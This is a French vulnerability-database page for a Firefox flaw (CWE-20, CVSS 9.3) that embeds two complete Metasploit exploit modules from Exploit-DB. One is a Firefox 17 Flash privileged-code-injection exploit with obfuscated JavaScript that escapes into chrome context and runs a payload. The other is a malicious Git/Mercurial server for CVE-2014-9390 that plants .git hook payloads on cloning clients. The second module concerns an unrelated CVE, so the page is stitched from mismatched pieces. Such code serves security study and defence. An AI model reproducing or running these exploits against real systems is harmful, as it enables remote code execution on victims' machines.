Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41683
Date de publication : 2013-01-07 23:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
# include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
# autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "17.0",
# :ua_maxver => "17.0.1",
# :javascript => true,
# :rank => NormalRanking
# })
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
the user has installed Flash. No memory corruption is used.
First, a Flash object is cloned into the anonymous content of the SVG
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
can navigate a child frame to a URL in the chrome:// scheme.
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
around the child frame's window reference and inject code into the chrome://
context. Once we have injection into the chrome execution context, we can write
the payload to disk, chmod it (if posix), and then execute.
Note: Flash is used here to trigger the exploit but any Firefox plugin
with script access should be able to trigger it.
},
'License' => MSF_LICENSE,
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'Author' =>
[
'Marius Mlynski', # discovery & bug report
'joev', # metasploit module
'sinn3r' # metasploit fu
],
'References' =>
[
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
['OSVDB', '89019'], # maps to CVE 2013-0757
['OSVDB', '89020'], # maps to CVE 2013-0758
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
],
'DisclosureDate' => 'Jan 08 2013',
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => /17\..*/,
:flash => /[\d.]+/
}
))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
def on_request_exploit(cli, request, info)
if request.uri =~ /\.swf$/
# send Flash .swf for navigating the frame to chrome://
print_status("Sending .swf trigger.")
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
else
# send initial HTML page
print_status("Target selected: #{target.name}")
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(cli, target))
end
end
# @return [String] the contents of the .swf file used to trigger the exploit
def flash_trigger
swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
@flash_trigger ||= File.read(swf_path)
end
# @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true
def js_debug(str, quote="'")
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
end
# @return [String] HTML that is sent in the first response to the client
def generate_html(cli, target)
vars = {
:symbol_id => 'a',
:random_domain => 'safe',
:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
:payload_var => 'c',
:payload_key => 'k',
:payload_obj_var => 'payload_obj',
:interval_var => 'itvl',
:access_string => 'access',
:frame_ref => 'frames[0]',
:frame_name => 'n',
:loader_path => "#{get_module_uri}.swf",
:content => self.datastore['CONTENT'] || ''
}
script = js_obfuscate %Q|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() {
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
}
function _() {
return '#{vars[:frame_name]}';
}
var #{vars[:interval_var]} = setInterval(function(){
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
catch(e){
clearInterval(#{vars[:interval_var]});
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
Object.prototype.__lookupSetter__("__proto__").call(p, o);
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
}
}, 100);
document.querySelector('object').data = "#{vars[:loader_path]}";
document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
);
|
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
#{script}
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
|
end
end
Exploit Database EDB-ID : 41684
Date de publication : 2014-12-17 23:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
'Description' => %q(
This module exploits CVE-2014-9390, which affects Git (versions less
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
less than 3.2.3) and describes three vulnerabilities.
On operating systems which have case-insensitive file systems, like
Windows and OS X, Git clients can be convinced to retrieve and
overwrite sensitive configuration files in the .git
directory which can allow arbitrary code execution if a vulnerable
client can be convinced to perform certain actions (for example,
a checkout) against a malicious Git repository.
A second vulnerability with similar characteristics also exists in both
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
certain Unicode codepoints are ignorable.
The third vulnerability with similar characteristics only affects
Mercurial clients on Windows, where Windows "short names"
(MS-DOS-compatible 8.3 format) are supported.
Today this module only truly supports the first vulnerability (Git
clients on case-insensitive file systems) but has the functionality to
support the remaining two with a little work.
),
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-9390'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
],
'DisclosureDate' => 'Dec 18 2014',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp perl'
}
}
}
],
[
'Windows Powershell',
{
'Platform' => [ 'windows' ],
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('GIT', [true, 'Exploit Git clients', true])
]
)
register_advanced_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
]
)
end
def setup
# the exploit requires that we act enough like a real Mercurial HTTP instance,
# so we keep a mapping of all of the files and the corresponding data we'll
# send back along with a trigger file that signifies that the git/mercurial
# client has fetched the malicious content.
@repo_data = {
git: { files: {}, trigger: nil },
mercurial: { files: {}, trigger: nil }
}
unless datastore['GIT'] || datastore['MERCURIAL']
fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
end
setup_git
setup_mercurial
super
end
def setup_git
return unless datastore['GIT']
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
# sanity check the malicious hook:
if datastore['GIT_HOOK'].blank?
fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
end
# In .git/hooks/ directory, specially named files are shell scripts that
# are executed when particular events occur. For example, if
# .git/hooks/post-checkout was an executable shell script, a git client
# would execute that file every time anything is checked out. There are
# various other files that can be used to achieve similar goals but related
# to committing, updating, etc.
#
# This vulnerability allows a specially crafted file to bypass Git's
# blacklist and overwrite the sensitive .git/hooks/ files which can allow
# arbitrary code execution if a vulnerable Git client can be convinced to
# interact with a malicious Git repository.
#
# This builds a fake git repository using the knowledge from:
#
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
case target.name
when 'Automatic'
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
when 'Windows Powershell'
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
encode_final_payload: true)
full_cmd = "#!/bin/sh\n#{psh}"
end
sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
# build tree that points to the blob
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which the hook lives, called hooks
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the partially uppercased .git directory in
# which hooks live
variants = []
%w(g G). each do |g|
%w(i I).each do |i|
%w(t T).each do |t|
git = g + i + t
variants << git unless git.chars.none? { |c| c == c.upcase }
end
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
def setup_mercurial
return unless datastore['MERCURIAL']
# URI must start with a /
unless mercurial_uri && mercurial_uri =~ /^\//
fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
end
# sanity check the malicious hook
if datastore['MERCURIAL_HOOK'].blank?
fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
end
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
# also as simple as possible so that we don't have to support all of the protocol
# complexities. Taken from:
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
# TODO: finish building the fake repository
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def primer
# add the git and mercurial URIs as necessary
if datastore['GIT']
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
if datastore['MERCURIAL']
hardcoded_uripath(mercurial_uri)
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
end
end
# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end
do_html(cli, req)
end
# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
if req_file == @repo_data[:git][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end
if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
# simulates a Mercurial HTTP server
def do_mercurial(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
uri = URI.parse(req.uri)
req_path = uri.path
req_path += "?#{uri.query}" if uri.query
req_path.gsub!(/^#{mercurial_uri}/, '')
if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli)
end
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
end
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version To (excluding) 18.0
Mozilla>>Firefox_esr >> Version To (excluding) 17.0.2
Mozilla>>Seamonkey >> Version To (excluding) 2.15
Mozilla>>Thunderbird >> Version To (excluding) 17.0.2
Mozilla>>Thunderbird_esr >> Version To (excluding) 17.0.2
Configuraton 0
Opensuse>>Opensuse >> Version 11.4
Opensuse>>Opensuse >> Version 12.1
Opensuse>>Opensuse >> Version 12.2
Suse>>Linux_enterprise_desktop >> Version 10
Suse>>Linux_enterprise_desktop >> Version 11
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_server >> Version 11
Suse>>Linux_enterprise_software_development_kit >> Version 10
Suse>>Linux_enterprise_software_development_kit >> Version 11
Configuraton 0
Canonical>>Ubuntu_linux >> Version 10.04
Canonical>>Ubuntu_linux >> Version 11.10
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 12.10
References